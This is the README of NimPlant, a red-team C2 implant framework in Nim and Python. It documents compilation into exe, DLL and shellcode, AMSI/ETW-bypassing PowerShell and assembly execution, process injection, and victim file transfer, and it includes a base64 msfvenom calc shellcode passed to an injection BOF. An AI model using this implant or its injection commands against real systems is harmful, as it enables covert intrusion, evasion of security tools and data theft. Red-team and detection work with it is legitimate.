NimPlant – A light first-stage C2 implant written in Nim and Python

NimPlant is a cross-platform (Linux & Windows) implant written in NIM as a fun project to learn about NIM and see what it can bring to the table for red team tool development. Currently, NimPlant lacks extensive evasive tradecraft; however, overtime NimPlant will become much more sophisticated.

By Cas van Cooten (@chvancooten), with special thanks to some awesome folks:

  • Fabian Mosch (@S3cur3Th1sSh1t) for sharing dynamic invocation implementation in Nim and the Ekko sleep mask function
  • snovvcrash (@snovvcrash) for adding the initial version of execute-assembly & self-deleting implant option
  • Furkan Göksel (@frkngksl) for his work on NiCOFF and Guillaume Caillé (@OffenseTeacher) for the initial implementation of inline-execute
  • Kadir Yamamoto (@yamakadi) for the design work, initial Vue.JS front-end and rusty nimplant, part of an older branch (unmaintained)
  • Mauricio Velazco (@mvelazco), Dylan Makowski (@AnubisOnSec), Andy Palmer (@pivotal8ytes), Medicus Riddick (@retsdem22), Spencer Davis (@nixbyte), and Florian Roth (@cyb3rops), for their efforts in testing the pre-release and contributing detections

If NimPlant has been useful to you and/or you like my work in general, your support is very welcome:

Feature Overview

  • Lightweight and configurable implant written in the NIM programming language
  • Pretty web GUI that will make you look cool during all your ops
  • Encryption and compression of all traffic by default, obfuscates static strings in implant artefacts
  • Support for several implant types, including native binaries (exe/DLL), shellcode or self-deleting executables
  • Wide selection of commands focused on early-stage operations including local enumeration, file or registry management, and web interactions
  • Easy deployment of more advanced functionality or payloads via inline-executeshinject (using dynamic invocation), or in-thread execute-assembly
  • Support for operations on any platform, implant only targeting x64 Windows for now
  • Comprehensive logging of all interactions and file operations
  • Much, much more, just see below 🙂

Instructions

Installation

  • Install NIM and Python3 on your OS of choice (installation via choosenim is recommended, as apt doesn’t always have the latest version).
  • Install required packages using the Nimble package manager (cd client; nimble install -d).
  • Install requirements.txt from the server folder (pip3 install -r server/requirements.txt).
  • If you’re on Linux or MacOS, install the mingw toolchain for your platform (brew install mingw-w64 or apt install mingw-w64).

Configuration

Before using NimPlant, create the configuration file config.toml. It is recommended to copy config.toml.example and work from there.

An overview of settings is provided below.

CategorySettingDescription
serveripThe IP that the C2 web server (including API) will listen on. Recommended to use 127.0.0.1, only use 0.0.0.0 when you have setup proper firewall or routing rules to protect the C2.
serverportThe port that the C2 web server (including API) will listen on.
listenertypeThe listener type, either HTTP or HTTPS. HTTPS options configured below.
listenersslCertPathThe local path to a HTTPS certificate file (e.g. requested via LetsEncrypt CertBot or self-signed). Ignored when listener type is ‘HTTP’.
listenersslKeyPathThe local path to the corresponding HTTPS certificate private key file. Password will be prompted when running the NimPlant server if set. Ignored when listener type is ‘HTTP’.
listenerhostnameThe listener hostname. If not empty (“”), NimPlant will use this hostname to connect. Make sure you are properly routing traffic from this host to the NimPlant listener port.
listeneripThe listener IP. Required even if ‘hostname’ is set, as it is used by the server to register on this IP.
listenerportThe listener port. Required even if ‘hostname’ is set, as it is used by the server to register on this port.
CategorySettingDescription
listenerregisterPathThe URI path that new NimPlants will register with.
listenertaskPathThe URI path that NimPlants will get tasks from.
listenerresultPathThe URI path that NimPlants will submit results to.
nimplantriskyModeCompile NimPlant with support for risky commands. Operator discretion advised. Disabling will remove support for execute-assemblypowershellshell and shinject.
nimplantsleepMaskWhether or not to use Ekko sleep mask instead of regular sleep calls for Nimplants. Only works with regular executables for now!
nimplantsleepTimeThe default sleep time in seconds for new NimPlants.
nimplantsleepJitterThe default jitter in percent for new NimPlants.
nimplantkillDateThe kill date for Nimplants (format: yyyy-MM-dd). Nimplants will exit if this date has passed.
nimplantuserAgentThe user-agent used by NimPlants. The server also uses this to validate NimPlant traffic, so it is recommended to choose a UA that is inconspicuous, but not too prevalent.

Compilation

Once the configuration is to your liking, you can generate NimPlant binaries to deploy on your target. Currently, NimPlant supports .exe.dll, and .bin binaries for (self-deleting) executables, libraries, and position-independent shellcode (through sRDI), respectively. To generate, run python NimPlant.py compile followed by your preferred binaries (exeexe-selfdeletedllraw, or all) and, optionally, the implant type (nim, or nim-debug). Files will be written to client/bin/.

You may pass the rotatekey argument to generate and use a new XOR key during compilation.

Notes:

  • NimPlant only supports x64 at this time!
  • The entrypoint for DLL files is Update, which is triggered by DllMain for all entrypoints. This means you can use e.g. rundll32 .\NimPlant.dll,Update to trigger, or use your LOLBIN of choice to sideload it (may need some modifications in client/NimPlant.nim)
PS C:\NimPlant> python .\NimPlant.py compile all

                  *    *(#    #
                  **  **(##  ##
         ########       (       ********
        ####(###########************,****
           # ########       ******** *
           .###                   ***
           .########         ********
           ####    ###     ***    ****
         ######### ###     *** *********
       #######  ####  ## **  ****  *******
       #####    ##      *      **    *****
       ######  ####   ##***   **** .******
       ###############     ***************
            ##########     **********
               #########**********
                 #######********
     _   _ _           ____  _             _
    | \ | (_)_ __ ___ |  _ \| | __ _ _ __ | |_
    |  \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
    | |\  | | | | | | |  __/| | (_| | | | | |_
    |_| \_|_|_| |_| |_|_|   |_|\__,_|_| |_|\__|

        A light-weight stage 1 implant and C2 based on Nim and Python
        By Cas van Cooten (@chvancooten)

Compiling .exe for NimPlant
Compiling self-deleting .exe for NimPlant
Compiling .dll for NimPlant
Compiling .bin for NimPlant

Done compiling! You can find compiled binaries in 'client/bin/'.

Compilation with Docker

To use it, install Docker for your OS and start the compilation in a container as follows.

docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPlant.py compile all

Usage

Once you have your binaries ready, you can spin up your NimPlant server! No additional configuration is necessary as it reads from the same config.toml file. To launch a server, simply run python NimPlant.py server (with sudo privileges if running on Linux). You can use the console once a Nimplant checks in, or access the web interface at http://localhost:31337 (by default).

Notes:

  • If you are running your NimPlant server externally from the machine where binaries are compiled, make sure that both config.toml and .xorkey match. If not, NimPlant will not be able to connect.
  • The web frontend or API do not support authentication, so do NOT expose the frontend port to any untrusted networks without a secured reverse proxy!
  • If NimPlant cannot connect to a server or loses connection, it will retry 5 times with an exponential backoff time before attempting re-registration. If it fails to register 5 more times (same backoff logic), it will kill itself. The backoff triples the sleep time on each failed attempt. For example, if the sleep time is 10 seconds, it will wait 10, then 30 (3^1 * 10), then 90 (3^2 * 10), then 270 (3^3 * 10), then 810 seconds before giving up (these parameters are hardcoded but can be changed in client/NimPlant.nim).
  • Logs are stored in the server/logs directory. Each server instance creates a new log folder. Downloads and uploads (including files uploaded via the web GUI) are stored in the server/uploads and server/downloads directories respectively.
  • Nimplant and server details are stored in an SQLite database at server/nimplant.db. Used to recover Nimplants after a server restart.
  • Logs, uploaded/downloaded files, and the database can be cleaned up by running NimPlant.py with the cleanup flag. Caution: This will purge everything, so make sure to back up what you need first!
PS C:\NimPlant> python .\NimPlant.py server     

                  *    *(#    #
                  **  **(##  ##
         ########       (       ********
        ####(###########************,****
           # ########       ******** *
           .###                   ***
           .########         ********
           ####    ###     ***    ****
         ######### ###     *** *********
       #######  ####  ## **  ****  *******
       #####    ##      *      **    *****
       ######  ####   ##***   **** .******
       ###############     ***************
            ##########     **********
               #########**********
                 #######********
     _   _ _           ____  _             _
    | \ | (_)_ __ ___ |  _ \| | __ _ _ __ | |_
    |  \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
    | |\  | | | | | | |  __/| | (_| | | | | |_
    |_| \_|_|_| |_| |_|_|   |_|\__,_|_| |_|\__|

        A light-weight stage 1 implant and C2 written in Nim and Python
        By Cas van Cooten (@chvancooten)

[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337.
[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.

This will start both the C2 API and management web server (in the example above at http://127.0.0.1:31337) and the NimPlant listener (in the example above at https://0.0.0.0:443). Once a NimPlant checks in, you can use both the web interface and the console to send commands to NimPlant.

Available commands are as follows. You can get detailed help for any command by typing help [command].

Command arguments shown as [required] <optional>.
Commands with (GUI) can be run without parameters via the web UI.

cancel            Cancel all pending tasks.
cat               [filename] Print a file's contents to the screen.
cd                [directory] Change the working directory.
clear             Clear the screen.
cp                [source] [destination] Copy a file or directory.
curl              [url] Get a webpage remotely and return the results.
download          [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env               Get environment variables.
execute-assembly  (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR.
exit              Exit the server, killing all NimPlants.
getAv             List Antivirus / EDR products on target using WMI.
getDom            Get the domain the target is joined to.
getLocalAdm       List local administrators on the target using WMI.
getpid            Show process ID of the currently selected NimPlant.
getprocname       Show process name of the currently selected NimPlant.
help              <command> Show this help menu or command-specific help.
hostname          Show hostname of the currently selected NimPlant.
inline-execute    (GUI) [localfilepath] [entrypoint] <arg1 type1 arg2 type2..> Execute Beacon Object Files (BOF) from memory.
ipconfig          List IP address information of the currently selected NimPlant.
kill              Kill the currently selected NimPlant.
list              Show list of active NimPlants.
listall           Show list of all NimPlants.
ls                <path> List files and folders in a certain directory. Lists current directory by default.
mkdir             [directory] Create a directory (and its parent directories if required).
mv                [source] [destination] Move a file or directory.
nimplant          Show info about the currently selected NimPlant.
osbuild           Show operating system build information for the currently selected NimPlant.
powershell        <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR.
ps                List running processes on the target. Indicates current process.
pwd               Get the current working directory.
reg               [query|add] [path] <key> <value> Query or modify the registry. New values will be added as REG_SZ.
rm                [file] Remove a file or directory.
run               [binary] <arguments> Run a binary from disk. Returns output but blocks NimPlant while running.
screenshot        Take a screenshot of the user's screen.
select            [id] Select another NimPlant.
shell             [command] Execute a shell command.
shinject          (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation.
sleep             [sleeptime] <jitter%> Change the sleep time of the current NimPlant.
upload            (GUI) [localfilepath] <remotefilepath> Upload a file from the NimPlant server to the victim machine.
wget              [url] <remotefilepath> Download a file to disk remotely.
whoami            Get the user ID that NimPlant is running as.

Using Beacon Object Files (BOFs)

NOTE: BOFs are volatile by nature, and running a faulty BOF or passing wrong arguments or types WILL crash your NimPlant session! Test BOFs before deploying!

NimPlant supports the in-memory loading of BOFs thanks to the great NiCOFF project. Running a bof requires a local compiled BOF object file (usually called something like bofname.x64.o), an entrypoint (commonly go), and a list of arguments with their respective argument types. Arguments are passed as a space-seperated arg argtype pair.

Argument are given in accordance with the “Zzsib” format, so can be either string (alias: z), wstring (or Z), integer (aliases: int or i), short (s), or binary (bin or b). Binary arguments can be a raw binary string or base64-encoded.

Note that inline-execute (without arguments) can be used to configure the command graphically in the GUI.

# Run a bof without arguments
inline-execute ipconfig.x64.o go

# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z

# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b

# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go            # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z       # OK      - arguments are passed as expected

Push Notifications

By default, NimPlant support push notifications via the notify_user() hook defined in server/util/notify.py. By default, it implements a simple Telegram notification which requires the TELEGRAM_CHAT_ID and TELEGRAM_BOT_TOKEN environment variables to be set before it will fire. The notify_user() hook is called when a new NimPlant checks in, and receives an object with NimPlant details, which can then be pushed as desired.

Building the frontend

As a normal user, you shouldn’t have to modify or re-build the UI that comes with Nimplant. However, if you so desire to make changes, install NodeJS and run an npm install while in the ui directory. Then run ui/build-ui.py. This will take care of pulling the packages, compiling the Next.JS frontend, and placing the files in the right location for the Nimplant server to use them.

A word on production use and OPSEC

In other words, do NOT use NimPlant in production engagements as-is without thorough source code review and modifications! Also remember that, as with any C2 framework, the OPSEC fingerprint of running certain commands. NimPlant can be compiled without OPSEC-risky commands by setting riskyMode to false in config.toml.

Troubleshooting

There are many reasons why Nimplant may fail to compile or run.

  • Ensure you followed the steps as described in the ‘Installation’ section above.
  • Ensure you followed the steps as described in the ‘Compilation’ section above, and that you have used the chvancooten/nimbuild docker container to rule out any dependency issues
  • Check the logs in the server/logs directory for any errors
  • Try the nim-debug compilation mode to compile with console and debug messages (.exe only) to see if any error messages are returned
  • Try compiling from another OS or with another toolchain to see if the same error occurs
  • If all of the above fails, submit an issue. Make sure to include the appropriate build information (OS, nim/python versions, dependency versions) and the outcome of the troubleshooting steps above.

Download NimPlant